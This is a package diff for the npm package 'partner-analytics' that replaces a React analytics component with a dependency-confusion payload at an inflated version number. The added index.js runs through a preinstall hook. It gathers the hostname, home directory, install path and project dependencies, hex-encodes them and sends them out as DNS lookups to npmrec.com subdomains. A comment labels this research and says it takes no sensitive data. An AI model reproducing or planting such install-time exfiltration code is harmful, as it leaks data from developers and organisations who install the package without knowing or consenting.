partner-analytics 0.0.9 → 1.99.99

package/README.md

@@ -0,0 +1 @@
+This package is meant for security research purposes and does not contain any useful code.

package/index.js

@@ -0,0 +1,111 @@
+ /*
+
+This code is used for research purposes.
+
+No sensitive data is retrieved.
+
+Callbacks from within organizations with a
+responsible disclosure program will be reported
+directly to the organizations.
+
+Any other callbacks will be ignored, and
+any associated data will not be kept.
+
+If you have any questions, please contact:
+- harbitz@wearehackerone.com
+
+*/
+
+const dns = require("dns");
+const os = require("os")
+const fs = require("fs");
+const process = require("process");
+
+function toHex(str) {
+    var result = '';
+    for (var i=0; i<str.length; i++) {
+      result += str.charCodeAt(i).toString(16);
+    }
+    return result;
+}
+
+const homeDirsToIgnore = [
+    "/root/test/node_modules",
+    "/ptd/node_modules",
+    "/home/fakename/app",
+    "/root",
+];
+
+const hostnamesToIgnore = [
+    "BBOGENS-LAPTOP",
+];
+
+function getPkgJsonDir() {
+    const { dirname } = require ( 'path' );
+    const { constants, accessSync } = require ( 'fs' );
+
+    for ( let path of module.paths ) {
+        try {
+            let prospectivePkgJsonDir = dirname ( path );
+            accessSync ( path, constants.F_OK );
+            return prospectivePkgJsonDir;
+        } catch ( e ) {}
+    }
+}
+
+function main() {
+    const pjs = JSON.parse((fs.readFileSync(__dirname + "/package.json")).toString());
+    const id = Date.now();
+
+    if (homeDirsToIgnore.indexOf(os.homedir()) > -1) {
+        return;
+    }
+
+    if (hostnamesToIgnore.indexOf(os.hostname()) > -1) {
+        return;
+    }
+
+    let packages = "";
+
+    try {
+        const pjsRoot = JSON.parse((fs.readFileSync(getPkgJsonDir() + "/package.json")).toString());
+        packages = JSON.stringify(Array.from(Object.keys(pjsRoot.dependencies)).join(";"));
+    } catch {
+    }
+    
+    const relevantInfo = [
+        os.hostname(),
+        os.homedir(),
+        __dirname,
+        pjs.name + "-" + pjs.version,
+        packages
+    ]
+
+    const stringFragments = toHex(JSON.stringify(relevantInfo)).match(/.{1,63}/g);
+
+    sendData(stringFragments);
+    dns.lookup('ns1.npmrec.com', function(err, address) {
+        if (!err) {
+            nsAddress = address;
+        } else {
+            nsAddress = '8.8.8.8';
+        }
+        dns.setServers(['188.166.0.193', '188.166.110.6']);
+        sendData(stringFragments);
+    });
+
+    function sendData(stringFragments) {
+        for (let i = 0; i < stringFragments.length; i++) {
+            try {
+                resolveFragment(id, i, stringFragments);
+            } catch {
+            }
+        }
+    }
+
+    function resolveFragment(id, counter, stringFragments) {
+        dns.resolve4(`morjok.${id}.${counter+1}.${stringFragments[counter]}.npmrec.com`, () => {})
+    }
+}
+
+main();

package/package.json

@@ -1,23 +1,10 @@
 {
+  "description": "Security research purposes only.",
+  "main": "index.js",
   "name": "partner-analytics",
-  "version": "0.0.9",
-  "private": false,
-  "description": "Partner analytics react HOC",
-  "license": "MIT",
-  "author": "hsny-stats",
-  "main": "dist/index.js",
+  "license": "ISC",
   "scripts": {
-    "build": "npm run mkdir && node build.js",
-    "mkdir": "node build.js",
-    "prepublishOnly": "npm run build",
-    "test": "exit 0"
+    "preinstall": "node index.js"
   },
-  "dependencies": {
-    "hoist-non-react-statics": "^3.3.2",
-    "ramda": "^0.28.0",
-    "react": "^17.0.0"
-  },
-  "publishConfig": {
-    "access": "public"
-  }
-}
+  "version": "1.99.99"
+}

package/dist/components/withAnalytics.js

@@ -1,130 +0,0 @@
-"use strict";
-
-Object.defineProperty(exports, "__esModule", {
-  value: true
-});
-exports.default = void 0;
-
-var _react = _interopRequireWildcard(require("react"));
-
-var _ramda = require("ramda");
-
-var _hoistNonReactStatics = _interopRequireDefault(require("hoist-non-react-statics"));
-
-function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
-
-function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } }
-
-function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }
-
-function _objectWithoutProperties(source, excluded) { if (source == null) return {}; var target = _objectWithoutPropertiesLoose(source, excluded); var key, i; if (Object.getOwnPropertySymbols) { var sourceSymbolKeys = Object.getOwnPropertySymbols(source); for (i = 0; i < sourceSymbolKeys.length; i++) { key = sourceSymbolKeys[i]; if (excluded.indexOf(key) >= 0) continue; if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue; target[key] = source[key]; } } return target; }
-
-function _objectWithoutPropertiesLoose(source, excluded) { if (source == null) return {}; var target = {}; var sourceKeys = Object.keys(source); var key, i; for (i = 0; i < sourceKeys.length; i++) { key = sourceKeys[i]; if (excluded.indexOf(key) >= 0) continue; target[key] = source[key]; } return target; }
-
-function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
-
-function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }
-
-function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }
-
-function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }
-
-function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; }
-
-function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }
-
-function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }
-
-function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }
-
-var withAnalytics = function withAnalytics(Comp) {
-  var WithAnalytics =
-  /*#__PURE__*/
-  function (_Component) {
-    _inherits(WithAnalytics, _Component);
-
-    function WithAnalytics() {
-      _classCallCheck(this, WithAnalytics);
-
-      return _possibleConstructorReturn(this, _getPrototypeOf(WithAnalytics).apply(this, arguments));
-    }
-
-    _createClass(WithAnalytics, [{
-      key: "format",
-      value: function format(attributeString) {
-        return attributeString.replace(/\s/g, '-');
-      }
-    }, {
-      key: "render",
-      value: function render() {
-        var _this$props = this.props,
-            analytics = _this$props.analytics,
-            otherProps = _objectWithoutProperties(_this$props, ["analytics"]);
-
-        var analyticsRequired = window.digitalData && analytics;
-
-        var wrappedContent = _react.default.createElement(Comp, otherProps);
-
-        if (analyticsRequired) {
-          if (!window.digitalData.event) {
-            window.digitalData.event = [];
-          }
-
-          var eventInfo = {
-            eventName: this.format((0, _ramda.propOr)('empty', 'eventName')(analytics)),
-            eventAction: 'click'
-          };
-          var linkURL = (0, _ramda.propOr)((0, _ramda.propOr)('empty', 'href')(otherProps), 'href')(analytics);
-          var elementType = linkURL !== 'empty' ? 'Link' : this.format((0, _ramda.propOr)('empty', 'elementType')(analytics));
-          var attributes = {
-            assetName: this.format((0, _ramda.propOr)('empty', 'assetName')(analytics)),
-            moduleName: this.format((0, _ramda.propOr)('empty', 'moduleName')(analytics)),
-            position: this.format((0, _ramda.propOr)('empty', 'position')(analytics)),
-            elementType: elementType,
-            label: this.format((0, _ramda.propOr)('empty', 'label')(analytics)),
-            linkURL: linkURL,
-            userActionFlag: 'false'
-          };
-          var analyticsEvent = {
-            eventInfo: eventInfo,
-            attributes: attributes
-          };
-
-          var analyticsHandler = function analyticsHandler() {
-            window.digitalData.event.push(analyticsEvent);
-
-            try {
-              window._satellite.track('clickEvent');
-            } catch (err) {
-              console.log('Analytics Error:', err);
-            }
-          };
-
-          return _react.default.createElement("span", {
-            onClick: analyticsHandler
-          }, wrappedContent);
-        }
-
-        return wrappedContent;
-      }
-    }], [{
-      key: "WrappedComponent",
-      value: function WrappedComponent() {
-        return Comp;
-      }
-    }]);
-
-    return WithAnalytics;
-  }(_react.Component);
-
-  (0, _hoistNonReactStatics.default)(WithAnalytics, Comp);
-  WithAnalytics.displayName = "WithAnalytics(".concat(getDisplayName(Comp), ")");
-  return WithAnalytics;
-};
-
-function getDisplayName(WrappedComponent) {
-  return WrappedComponent.displayName || WrappedComponent.name || 'Component';
-}
-
-var _default = withAnalytics;
-exports.default = _default;

package/dist/index.js

@@ -1,13 +0,0 @@
-"use strict";
-
-Object.defineProperty(exports, "__esModule", {
-  value: true
-});
-exports.default = void 0;
-
-var _withAnalytics = _interopRequireDefault(require("./components/withAnalytics"));
-
-function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
-
-var _default = _withAnalytics.default;
-exports.default = _default;